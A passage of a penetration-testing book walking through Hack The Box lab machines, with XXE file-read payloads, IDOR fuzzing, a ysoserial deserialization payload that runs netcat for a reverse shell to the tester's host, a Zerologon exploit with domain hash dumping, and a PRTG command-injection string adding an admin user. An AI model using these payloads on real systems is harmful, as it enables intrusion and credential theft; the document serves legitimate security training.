of a security risk even though an attacker has gained some access to a network. This act
has not affected the confidentiality, availability or integrity of the affected organization.

There are numerous examples of exposed sensitive data both in the real world and on Hack
The Box. The password list rockyou.txt as mentioned above, was obtained from a data
breach of the company RockYou. More recently in 2019, security researchers found 100
Terabytes of data on Amazon Web Service’s S3 storage site. The data belonged to a
company called Attunity that contained data from their customers, including passwords
and sensitive employee information. This type of vulnerability has been common because
Amazon did not prevent public access by default in its settings of S3. This type of
vulnerability also appears in the category of security misconfiguration which will be
covered below.
hide01.ir
XML External Entities (XXE)
Extensible Markup Language (XML) developed alongside HTML as a more formal markup
language. It had the benefit of using a structure that could be defined and validated using a
schema definition (XSD). This came at the cost of complexity and verbosity, ultimately
limiting XML’s popularity. XML pops up quite frequently, Microsoft Office uses an Open XML
format for its document types for example. One of the most prevalent vulnerabilities in XML
document processing has been XXE. Within XML, an entity is a label for representing text.
An example is the entity “>” that is used to represent “>”. To add an entity to an XML
document, you declare it in a DTD (Document Type Defintion) statement. An example of
this would be:

1 <!Entity msg "Hello World">


2 <email>
3 <to>Jane Doe</to>
4 <body>&msg;</body>
5 </email>

The entity definition of “msg” is refered to as “&msg;”.

External entity allowed for entity definitions to be stored in a file remotely and that could be
included either through https:// or the file:// protocol. An example of an XXE injection attack
exploiting this would be:

1 <!DOCTYPE FakeTag [
2 <!ELEMENT FakeTag ANY >
3 <!ENTITY ext SYSTEM "file://etc/passwd" >]>
4 <FakeTag>&ext;</FakeTag>

This would include the file /etc/passwd into the text of the response.

XXE can also be used to do a Server Side Request Forgery (SSRF). Many internal web
applications limit requests from within the perimeter of the internal network. If the request
comes from XXE that is fetched by a web server, it may be trusted by these web servers.
hide01.ir
Exercise: Enumerating and exploiting XXE on
ForwardSlash
We covered the first part of this machine in Chapter 2. We had discovered a site
backup.forwardslash.htb which presented us with a login page. We can explore this site
with gobuster looking for directories and PHP files:

1 ┌─[oztechmuse@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -u
4 http://backup.forwardslash.htb
5
6 <SNIP>
7 /login.php (Status: 200)
8 /register.php (Status: 200)
9 /index.php (Status: 302)
10 /welcome.php (Status: 302)
11 /dev (Status: 301)
12 /api.php (Status: 200)
13 /environment.php (Status: 302)
14 /logout.php (Status: 302)
15 /config.php (Status: 200)
16 /hof.php (Status: 302)

If we try and got to the /dev directory, we get a 403 Access Denied:

1 403 Access Denied


2 Access Denied From 10.10.14.135

It seems that this directory is not accessible from outside IP addresses. The login page
does have a link to /register.php and so we can create an account on the site there. Using
the new credentials, we can log in and get access to a dashboard page
hide01.ir

Dashboard home page for users on ForwardSlash

The page of interest is for changing your profile picture which reports that the functionality
has been disabled because of a hack of the site.

Change profile picture page on ForwardSlash

The text box and Submit button have been disabled by adding the attribute disabled="" into
the HTML for these elements. If you right click on the web page in the browser and select
Inspect Element, you will be able to see the HTML for the page in the Inspector tab of the
browser developer tools (Figure 3-7).
hide01.ir

Inspecting the HTML code for the page profilepicture.php

You can click on the HTML where it says disabled in the form section and delete it for both
the text box and the submit button. Let us test for Local File Inclusion (LFI) by pointing the
URL in the text box to a local file like /etc/passwd. Switch FoxyProxy to use the Burp proxy
and enter ../../../etc/passwd into the text box before pressing the Submit button. Once
intercepted in Burp, send the request to the Repeater tab and press Send to send it to the
server. The response includes the file!

1 HTTP/1.1 200 OK
2 <SNIP>
3 <!DOCTYPE html>
4 <head>
5 <meta charset="UTF-8">
6 <title>Welcome</title>
7 <link rel="stylesheet" href="bootstrap.css">
8 <style type="text/css">
9 body{ font: 14px sans-serif; text-align: center; }
10 </style>
11 </head>
12 <body>
13 <div class="page-header">
14 <h1>Change your Profile Picture!</h1>
15 <font style="color:red">This has all been disabled while we try to get
16 back on our feet after the hack.<br><b>-Pain</b></font>
17 </div>
18
hide01.ir
<form action="/profilepicture.php" method="post">
19 URL:
20 <input type="text" name="url" disabled style="width:600px"><br>
21 <input style="width:200px" type="submit" value="Submit" disabled>
22 </form>
23 </body>
24 </html>
25 root:x:0:0:root:/root:/bin/bash
26 <SNIP>
27 pain:x:1000:1000:pain:/home/pain:/bin/bash
28 chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
29 mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

This shows a couple of users, pain and chiv. If we now try LFI on the /dev directory, it will
include the file index.php from there and we can read the contents:

1 <html>
2 <h1>XML Api Test</h1>
3 <h3>This is our api test for when our new website gets refurbished</h3>
4 <form action="/dev/index.php" method="get" id="xmltest">
5 <textarea name="xml" form="xmltest" rows="20" cols="50"><api>
6 <request>test</request>
7 </api>
8 </textarea>
9 <input type="submit">
10 </form>
11 </html>
12 <!-- TODO:
13 Fix FTP Login
14 -->

Do you remember how we got a 403 error when we tried to access this directory before with
an error message saying we couldn't access it from our IP address? Well, we have now
found a way of exploiting a SSRF (Server Side Request Forgery) by accessing the site from
the web server itself using LFI.

The returned information suggests a function to test XML input and so we can test if the
site is vulnerable to XXE. This next part is going to be a leap of faith as to how you are
supposed to work out that what the XML will do is try an FTP login, however, there is a clue
in the TODO message to "Fix FTP Login". We can construct an XML document that will
execute an FTP login as follows:
hide01.ir
1 <?xml version="1.0" ?>
2 <!DOCTYPE html [
3 <!ELEMENT bar >
4 <!ENTITY foo SYSTEM "ftp://10.10.14.135/">
5 ]>
6 <api>
7 <request>$foo;</request>
8 </api>

We can then send that to the /dev/index.php page using the request in Burp by passing the
XML as a parameter to http://backup.fowardslash.htb/dev/index.php?xml=<XXE code>.
The XML code needs to be URL encoded twice and so select the XML code in Burp and right
click and select URL encode all characters. Repeat this. Before sending the request, we can
start the tool responder to listen for FTP requests and print out the username and password
that has been supplied:

1 ─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $sudo responder -I tun0
3 <SNIP>
4 [+] Servers:
5 <SNIP>
6 FTP server [ON]

When the request is sent in Burp, we get a hit:

1 [+] Listening for events...


2 [FTP] Cleartext Client : 10.129.1.91
3 [FTP] Cleartext Username : chiv
4 [FTP] Cleartext Password : N0bodyL1kesBack/

This then gives us credentials to use with SSH to get on the box as user chiv. This user
doesn't have access to the user flag and you will need to do some lateral movement to get
the user pain. However, that involves another SUID file and we can leave that as an exercise
for later.
hide01.ir
Broken Access Control
Users should only be allowed to access functions and information that they have been
given the right to access. This means that one user should not be able to see another user’s
data and that ordinary users should not be able to access administrative functionality.
Unfortunately, controlling user access is sometimes complicated and the range of
vulnerabilities that arise because of misconfigurations and program errors is quite wide.
The type of vulnerabilities that occur are:

No access control applied to resources such as file shares, directory listings


Modifying urls (Parameter Tampering) to change an id to that of a record that the user
should not be able to access. This vulnerability is also referred to as IDOR (Insecure
Direct Object Reference)
Stealing cookies that allow a user to masquerade as another
Lack of checking of access on APIs and web pages allowing unauthorized access

This is one of the most prevalent vulnerabilities that you will come across when doing Hack
The Box machines. you will look at cookie stealing as part of the section on Cross-Site
Scripting (XSS) below. Parameter tampering is always worth trying when anything like an
ID is found in a url.
hide01.ir
Exercise: Tampering with parameters on
Oopsie
Another of the Starting Point machines is Oopsie, a Linux box. An nmap scan reveals SSH
running on port 22 and Apache running on port 80.

1 PORT STATE SERVICE VERSION


2 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.
3 | ssh-hostkey:
4 | 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
5 | 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
6 |_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
7 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8 | http-methods:
9 |_ Supported Methods: GET HEAD POST OPTIONS
10 |_http-server-header: Apache/2.4.29 (Ubuntu)
11 |_http-title: Welcome
12 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Navigating to the home page of the website, we see a site for MegaCorp Automotive which
is a static page with no clickable links.

Oopsie home page


hide01.ir
Viewing the source of the page, there is a reference to a login script at the URL /cdn-
cgi/login/script.js. This script is empty, but if we navigate to the directory /cdn-cgi/login, we
are presented with a login page.

Oopsie login page at http://oopsie.htb/cdn-cgi/login

We can try the user admin and the password that was recovered from the previous machine
Archetype (MEGACORP_4dm1n!!) with a guessed user “admin”, you gain access to the
home page of the Repair Management System.
hide01.ir

Home page after login on Oopsie

Enumerating this site, you find the Accounts page that lists details of the user accounts on
the system. The url uses a parameter “id” which presumably refers to the id of the selected
user.

http://oopsie.htb/cdn-cgi/login/admin.php?content=accounts&id=1

This is an IDOR vulnerability because we can change the id and get access to other
accounts. The Accounts page (Figure 3-11) provides information about the Access ID which
is probably the id of the User in the database of the system.
hide01.ir

Account details for user admin

Cycling through a few numbers for the id shows the page changes and eventually a
different user “[email protected]” is displayed with the “id=4”. We can brute force all of the
users on the system by sequentially increasing the id field. To do this, you could use Burp
Suite's Intruder function, but we will use wfuzz instead (I will leave it as an exercise for you
to try Burp's Intruder if you wish).

Before we use wfuzz, we need some more information. The system knows we are logged in
through the use of cookies. In the browser's developer tools, we can go to the Storage tab
and click on Cookies. There are two cookies:

1 role: admin
2 user: 34322

We can supply this to wfuzz and run the command:

1 ┌──[rin@parrot]─[~/boxes/StartingPoint/Oopsie]
2 └──╼ $wfuzz -b "user=34322; role=admin" -z range,1-100 "
3 http://oopsie.htb/cdn-cgi/login/admin.php?content=acc
4
5 ounts&id=FUZZ"
6 <SNIP>
7 =====================================================================
8 ID Response Lines Word Chars Payload
9 =====================================================================
10 000000021: 200 160 L 321 W 3595 Ch "21"
11 000000020: 200 160 L 321 W 3595 Ch "20"
12 000000001: 200 160 L 321 W 3623 Ch "1"
13 000000018: 200 160 L 321 W 3595 Ch "18"
14
hide01.ir
000000015: 200 160 L 321 W 3595 Ch "15"

It will return a series of results which differ in the number of characters returned. Id 1
returns 3623 characters and id 21 returns 3595. If you try these in the browser, you will see
that we are only interested in the ids that return more than 3595 characters. We can modify
the wfuzz command to hide results where the number of characters is 3595 by using the --
hh flag.

1 ┌─[✗]─[rin@parrot]─[~/boxes/StartingPoint/Oopsie]
2 └──╼ $wfuzz -b "user=34322; role=admin" --hh 3595 -z range,1-100
3 <SNIP>
4 =====================================================================
5 ID Response Lines Word Chars Payload
6 =====================================================================
7 000000013: 200 160 L 321 W 3621 Ch "13"
8 000000001: 200 160 L 321 W 3623 Ch "1"
9 000000004: 200 160 L 321 W 3619 Ch "4"
10 000000030: 200 160 L 322 W 3634 Ch "30"
11 000000023: 200 160 L 321 W 3620 Ch "23"

We get 5 results for the values of ids between 1 and 100. Checking these ids in the request
in the browser, we eventually get the user superadmin for id=30:

1 Access ID Name Email


2 86575 super admin [email protected]

This is convenient because if we go to the page Uploads, it returns a message saying that
“This action require super admin rights”.

In the browser, you can go back to the Storage tab and edit the cookie to replace the user
value with “86575”. The role cookie doesn't seem to matter and we can leave it. Having
done this, clicking on Uploads now grants us access to the page! Note that being able to
change the cookie so simply to masquerade as another user is a separate broken access
control vulnerability to the ability to enumerate users by parameter tampering.
hide01.ir
Looking at the uploads page, it suggests that what it is expecting to be uploaded are
images. However, it accepts a php file without modification. We could use gobuster to find
out if there is an uploads directory, but simply trying /uploads gives us a forbidden status
code which means that there is a directory called that and it is the likely place the files will
be uploaded to.

We will come back to finishing this machine off once we have covered exploitation and
getting reverse shells. It is pretty straightforward however and once on the box, it is a simple
matter of finding credentials for another user, "robert" (password: M3g4C0rpUs3r!) who can
SSH onto the box.
hide01.ir
Security Misconfiguration and Insecure
Deserialisation
Security misconfiguration is a category of a range of different vulnerabilities. Vulnerability
scanners may find some of these types of vulnerabilities. The vulnerabilities covered here
include:

Leaving default settings of applications that do not implement security features


Using default accounts and passwords
Not updating software or patching known vulnerabilities
Leaving debugging or development options switched on in the application
Leaving unneeded features in the application such as demo applications or code

Searching for these vulnerabilities will become second nature when hunting for bugs on a
new machine. Whilst application software developers are getting better at not allowing a
default username and password, forcing it to be changed on installation, the problem is still
very prevalent on Internet of Things devices and devices such as consumer Internet routers.

Insecure Deserialisation

Deserialization is a slightly advanced topic because it involves the way objects, which is a
collection of code and data, can be stored. Languages that support objects, so called
object-oriented languages like C#, Swift, PHP, Java and Python all offer object serialisation
capabilities. To take a simple example in PHP, the code to serialize an array of strings is as
follows:

1 <?php
2 $data = serialize(array("Red","Green","Blue"));
3 echo $data;
4 ?>

Executing this code gives us:


hide01.ir
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $php serial.php
3 a:3:{i:0;s:3:"Red";i:1;s:5:"Green";i:2;s:4:"Blue";}

The a:3 represents an array type object with 3 elements. The array elements are in the
braces and the first element is a string of 3 characters (s:3) with a value of "Red". The entire
serialized object can then be written to a file or stored in a database.

To unserialize the array and use it in code, you simply do

1 $a = unserialize($data);
2 echo $a[0];

This will recreate the array and so it can be used to print the first value in the array which is
"Red".

Serialization is used to transmit objects in messages between applications and to store


their state in files and databases. There are obvious vulnerabilities in this process however
if an attacker manages to be able to change the serialized data to allow them to
manipulate the application once the objects is deserialized. An example of this given by
OWASP is the manipulation of cookies that use PHP serialisation to save user credentials.
An attacker can elevate their privileges in the case of an application that uses an object
such as the following:

1 a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
2 i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

and changes it to:

1 a:4:{i:0;i:132;i:1;s:7:"Alice";i:2;s:4:"admin";
2 i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
hide01.ir
Whilst this is at the more advanced level, attacking deserialization vulnerabilities is made
easier thanks to frameworks such as YSoSerial for Java and YSoSerial.Net for Microsoft
.Net. you will look at how this works in the Hack The Box case study of the machine JSON.
hide01.ir
Exercise: Exploiting .NET deserialization on
the box JSON
In this machine, an nmap scan reveals that it is a Windows box with FTP (port 21), HTTP
(port 80) and SMB (port 139,445) running.

1 ┌─[rin@parrot]─[~/boxes/JSON]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- json.htb -oA nmap/full-
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp FileZilla ftpd
5 | ftp-syst:
6 |_ SYST: UNIX emulated by FileZilla
7 80/tcp open http Microsoft IIS httpd 8.5
8 | http-methods:
9 | Supported Methods: GET HEAD OPTIONS TRACE
10 |_ Potentially risky methods: TRACE
11 |_http-server-header: Microsoft-IIS/8.5
12 |_http-title: Json HTB
13 135/tcp open msrpc Microsoft Windows RPC
14 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
15 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof
16 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
17 |_http-server-header: Microsoft-HTTPAPI/2.0
18 |_http-title: Not Found
19 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
20 |_http-server-header: Microsoft-HTTPAPI/2.0
21 |_http-title: Not Found
22 49152/tcp open msrpc Microsoft Windows RPC
23 49153/tcp open msrpc Microsoft Windows RPC
24 49154/tcp open msrpc Microsoft Windows RPC
25 49155/tcp open msrpc Microsoft Windows RPC
26 49156/tcp open msrpc Microsoft Windows RPC
27 49157/tcp open msrpc Microsoft Windows RPC
28 49158/tcp open msrpc Microsoft Windows RPC
29 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
30 cpe:/o:microsoft:windows

The website on port 80 reveals a login page that takes the common credentials "admin" and
"admin" as username and password.
hide01.ir
If you turn on the Burp proxy in FoxyProxy but leave Intercept off in Burp Suite, all of the
calls from the browser will go through the proxy and be available in the HTTP History tab.
When you click submit after entering the username and password, the page does a POST
request to the endpoint /api/token, providing the username and password that was entered.
The response to this POST returns a status code of 202 (Accepted) and provides a Set-
Cookie header:

1 Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkI
2 joiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZ
3 G1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Thu, 22-Oct-2020
4 08:44:50 GMT; path=/

The next request is a GET request for the page /index.html and the cookie OAuth2 is now
set. After getting script and HTML files, a GET request is made to /api/Account.
Interestingly, here a second header, "Bearer" is used with the same contents as the OAuth2
cookie contents:

1 GET /api/Account/ HTTP/1.1


2 Host: 10.10.10.158
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/
4 Accept: application/json, text/plain, */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmM
8 jk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbi
9 BIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
10 DNT: 1
11 Connection: close
12 Referer:
13 http://10.10.10.158/index.html
14
15 Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMj
16 EyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciB
17 BZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

This request returns details of the account:


hide01.ir
1 {"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",
2 "Name":"User Admin HTB","Rol":"Administrator"}

Which is actually what you get if you take the Base64 in the Bearer header and decode it.. It
is worth noting that the Bearer header suggests that this is Bearer Authentication which is
defined as part of the OAuth 2.0 standard. However, normally, the header is actually
formatted as:

Authentication: Bearer <token>

The token in this case would also be encrypted or at least cryptographically signed as per
the standard and clearly it is not here.

To explore what the Bearer header does, if you change the content of the Bearer header by
putting a non-numerical character in the Id field, say "1a" and the re-encode it using Base64.
an error is returned by the application:

1 {"Message":"An error has occurred.",


2 "ExceptionMessage":"Cannot deserialize Json.Net Object",
3 "ExceptionType":"System.Exception","StackTrace":null}

Here you get a clue about a possible vulnerability. The message "Cannot deserialize
Json.Net Object" suggests a deserialization attack may be possible.

There is a series of utilities called YSoSerial.Net


(https://github.com/pwntester/ysoserial.net\) that can be used to generate .NET
deserialization attacks.

You can download the latest release of the program


hide01.ir
https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-
1.34.zip\

Using YSoSerial.Net, we can test that the vulnerability can be exploited by trying to ping
back to our machine. Given that this is .NET, although it could be done on Parrot SOSec, it is
easier to do this on a Windows VM. you can provide the following parameters to
ysoserial.exe specifying the output as base64 and the command you want to run as a ping
to our machine:

1 ./ysoserial.exe -f Json.Net -g ObjectDataProvider \


2 -o base64 -c "ping -n 5 10.10.14.3"

Taking the output from this and putting it in the Bearer header, you get an exception from
the server, but the pings come back:

1 ┌──[✗]─[rin@parrot]─[~/boxes/JSON]
2 └──╼ $sudo tcpdump -i tun0 icmp
3 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
4 listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
5 15:00:46.782092 IP 10.10.10.158 > 10.10.14.3: ICMP echo request, id 1, seq
6 length 40
7 15:00:46.782231 IP 10.10.14.3 > 10.10.10.158: ICMP echo reply, id 1, seq 1
8 length 40

To get a reverse shell on the box, you can do as you did in Bankrobber and use an SMB
share to give access to Netcat (nc.exe) and have a listener on our box.

Changing the ysoserial command to the following:

1 .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 \


2 -c "\10.10.14.3\share\nc64.exe 10.10.14.3 6001 -e cmd.exe"
hide01.ir
We then get a reverse shell:

1 ┌──[rin@parrot]─[~/boxes/JSON]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.3] from (UNKNOWN) [10.10.10.158] 49780
5 Microsoft Windows [Version 6.3.9600]
6 (c) 2013 Microsoft Corporation. All rights reserved.
7 c:\windows\system32\inetsrv>whoami
8 whoami
9 json\userpool
10 c:\windows\system32\inetsrv>
hide01.ir
Using Components with Known
Vulnerabilities
It may be surprising that this category of vulnerabilities is not at the top of the list when it
comes to OWASP's top 10. The other categories you have already dealt with are still
vulnerabilities affecting components and so in a way, this category is just all of the
vulnerabilities that can affect a web application that are not of the specific types like XSS,
injection etc. This category is also really comes about because administrators have not
kept software up-to-date, have misconfigured them or simply were not aware they had them
on their systems.

Hunting for these vulnerabilities involves enumerating all of the applications, libraries,
databases, operating systems and other processes and knowing the specific versions of
each of these components. This information can then be used to look up databases of
known vulnerabilities for specific version of software. you have already detailed the
concept of vulnerabilities and CVE identifiers above. Whether these vulnerabilities can be
exploited or not depends on a range of factors such as whether there is a practical way of
exploiting the vulnerability, whether this can be done remotely or locally, whether it needs
authentication or not, and what the actual outcome of the exploitation is.

Finding CVEs is a skill, albeit one that can be assisted with vulnerability scanners which
may pick up the more obvious ones. Malicious actors often take a different approach which
is to concentrate on a specific CVE, especially one that has just been discovered, and then
search for any application on the Internet that has that particular vulnerability. There are
numerous examples of this such as CVE-2017-5638 which was a vulnerability in web
applications that used the Apache Struts framework.

A more recent example is CVE-2020-1472 of Zerologon exploit. This vulnerability exposed a


critical flaw that allows an attacker to gain administrative control of a Windows Active
Directory Domain Controller machine. Domain controllers provide authentication and
configuration to machines and users that are part of that domain and so gaining control of
a domain is as serious as it gets in terms of attacks.
hide01.ir
Exercise: Case Study Multimaster
This machine illustrates that even on Hack The Box, there are sometimes security
misconfigurations and unintended vulnerable components. The machine is a domain
controller in which the initial vulnerability is through a SQL injection. However, it turned out
that the machine was released a few weeks before CVE-2020-1472 was disclosed and so it
was actually vulnerable to the Zerologon attack. To test this, you can use the proof of
concept of this attack:

1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $git clone https://github.com/dirkjanm/CVE-2020-1472
3 To execute, you simply give the name of the domain and the IP address of
4 the domain controller:
5 ┌─[rin@parrot]─[~/boxes/Multimaster/CVE-2020-1472]
6 └──╼ $python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
7 Performing authentication attempts...
8 ==========================================================================
9 Target vulnerable, changing account password to empty string
10 Result: 0
11 Exploit complete!

Now that the machine password has been set to an empty string, you can use Impacket's
secretsdump.py that will collect all of the domain's users and password hashes:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Multimaster/CVE-2020-1472]
2 └──╼ $secretsdump.py -just-dc -no-pass MULTIMASTER\[email protected]
3 Impacket v0.9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020
4 SecureAuth Corporation
5 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
6 [*] Using the DRSUAPI method to get NTDS.DIT secrets
7 Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1
8 caf93d51d971be0:::
9 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
10 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717
11 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:
12 31d6cfe0d16ae931b73c59d7e0c089c0:::
13 MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:
14 fe90dcf97ce6511a65151881708d6027:::
15 MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:
16 1c9c8bfd28d000e8904f23c280b25d21:::
17
hide01.ir
MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:
18 9e63ebcb217bf3c6b27056fdcb6150f7:::
19 MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:
20 3c3c292710286a539bbec397d15b4680:::
21 MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:
22 19b44ab9ec562fe20b35ddb7c6fc0689:::
23 <SNIP>

Once you have these hashes, you can use Administrator's account to remote access the
machine using evil-winrm

1 ┌─[✗]─[rin@parrot]─[/opt/evil-winrm]
2 └──╼ $evil-winrm -u Administrator -H 69cbf4a9b7415c9e1caf93d51d971be0 \
3 -i 10.10.10.179
4 Evil-WinRM shell v2.3
5 Info: Establishing connection to remote endpoint
6 *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
7 megacorp\administrator
8 *Evil-WinRM* PS C:\Users\Administrator\Documents>

Of course, this attack will have impacted the domain controller significantly by resetting the
machine account's password to an empty string. If this was a machine with other Hack The
Box users accessing it, you would want to avoid doing something that would significantly
impact their experience. As a real attacker, this would send alerts flying and so that would
be a consideration as well. Nevertheless, this is an exploit that is being used in the wild as I
am writing this.
hide01.ir
Exercise: Enumerating vulnerabilities caused
by default applications in the box Netmon
In this machine, the application PRTG Network Monitor has been installed and the demo
features have not been removed or disabled. The vulnerability here allows remote
command execution through a demo feature in the product.

Scanning the machine with nmap you get the following output:

1 ┌─[oztechmuse@parrot]─[~/boxes/Netmon]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- netmon.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp Microsoft ftpd
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 | 02-03-19 12:18AM 1024 .rnd
7 | 02-25-19 10:15PM <DIR> inetpub
8 | 07-16-16 09:18AM <DIR> PerfLogs
9 | 02-25-19 10:56PM <DIR> Program Files
10 | 02-03-19 12:28AM <DIR> Program Files (x86)
11 | 02-03-19 08:08AM <DIR> Users
12 |_02-25-19 11:49PM <DIR> Windows
13 | ftp-syst:
14 |_ SYST: Windows_NT
15 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor
16 |_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479
17 | http-methods:
18 |_ Supported Methods: GET HEAD POST OPTIONS
19 |_http-server-header: PRTG/18.1.37.13946
20 | http-title: Welcome | PRTG Network Monitor (NETMON)
21 |_Requested resource was /index.htm
22 |_http-trane-info: Problem with XML parsing of /evox/about
23 135/tcp open msrpc Microsoft Windows RPC
24 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
25 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof
26 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012;
27 CPE: cpe:/o:microsoft:windows

We can see that the box is likely running Windows Server 2008 R2 and that it allows
anonymous FTP access to the entire main drive. The other thing to note is that there is a
web server on port 80 which is running the application PRTG Network Monitor.
hide01.ir
The website offers a login page

PRTG Login Page

Searching the internet for information about PRTG and where it may store configuration
information, you find that configuration information should be in
c:\ProgramData\Paessler\PRTG Network Monitor (alternatively, a quick bit of searching in
FTP uncovers this). There you find some configuration files, including what looks like a
backup.

1 ftp> dir
2 200 PORT command successful.
3 125 Data connection already open; Transfer starting.
4 10-22-20 10:46PM <DIR> Configuration Auto-Backups
5 10-22-20 10:05PM <DIR> Log Database
6 02-03-19 12:18AM <DIR> Logs (Debug)
7 02-03-19 12:18AM <DIR> Logs (Sensors)
8 02-03-19 12:18AM <DIR> Logs (System)
9 10-23-20 12:00AM <DIR> Logs (Web Server)
10 10-22-20 10:10PM <DIR> Monitoring Database
11 02-25-19 10:54PM 1189697 PRTG Configuration.dat
12 02-25-19 10:54PM 1189697 PRTG Configuration.old
13 07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
14 10-23-20 07:10AM 1723779 PRTG Graph Data Cache.dat
15 02-25-19 11:00PM <DIR> Report PDFs
16 02-03-19 12:18AM <DIR> System Information Database
17 02-03-19 12:40AM <DIR> Ticket Database
18 02-03-19 12:18AM <DIR> ToDo Database

We can use mget PRTG* to copy all of the configuration files to our local machine. Looking
at "PRTG Configuration.old.bak" first, you find the following information:
hide01.ir
1 <!-- User: prtgadmin -->
2 PrTg@dmin2018
3 </dbpassword>

Trying this on the login page doesn't work but looking at the format of the password and
updating the year to PrTg@dmin2019 gets us in!

Once in, you can see that the version of PRTG is 18.1.37.13946, which is the same
information that nmap gave us in the output above. Looking around the app, you can see
the release notes for the application with a warning about the current version

Release notes for version 18.4.47.1972 in PRTG application

.This particular vulnerability doesn't really help us (although it may have been a reason for
the plain text password in the backup configuration file?). So you need to look for other
vulnerabilities. Searching for vulnerabilities for PRTG, you find a highly critical vulnerability
CVE-2018-9276[6] that allows remote code execution. The vulnerability is related to a demo
script that is included with the product that is vulnerable to command injection. When
creating a notification in the system, one action that can be selected is to run an executable
and of the two options provided one is a PowerShell script OutFile.ps1. This takes a
parameter of a file name but if you add a "|" after the file name, you can add any other
PowerShell commands. you can then create a new user and add them to the administrator
group using the parameter:

afile.txt | net user rin password123! /add ; net localgroup administrators r


hide01.ir
To create a Notification, you go into the menu Setup > Account Settings > Notifications

Notifications page in Account Settings in PRTG

.Clicking the + button to create a new notification and leave everything as default but select
Execute Program:

Creating a Notification in PRTG

Select the Demo.exe notification outfile.ps1 and enter our crafted command as the
Parameter. In the Notifications list, click the menu button on the right and then the bell icon
from the popup menu
hide01.ir

Notifications list after creating notification

Once you have done this, you can login using Impacket's psexec.py

1 ┌─[rin@parrot]─[~/boxes/Netmon/CVE-2018-9276]
2 └──╼ $psexec.py rin:'password123!'@10.10.10.152
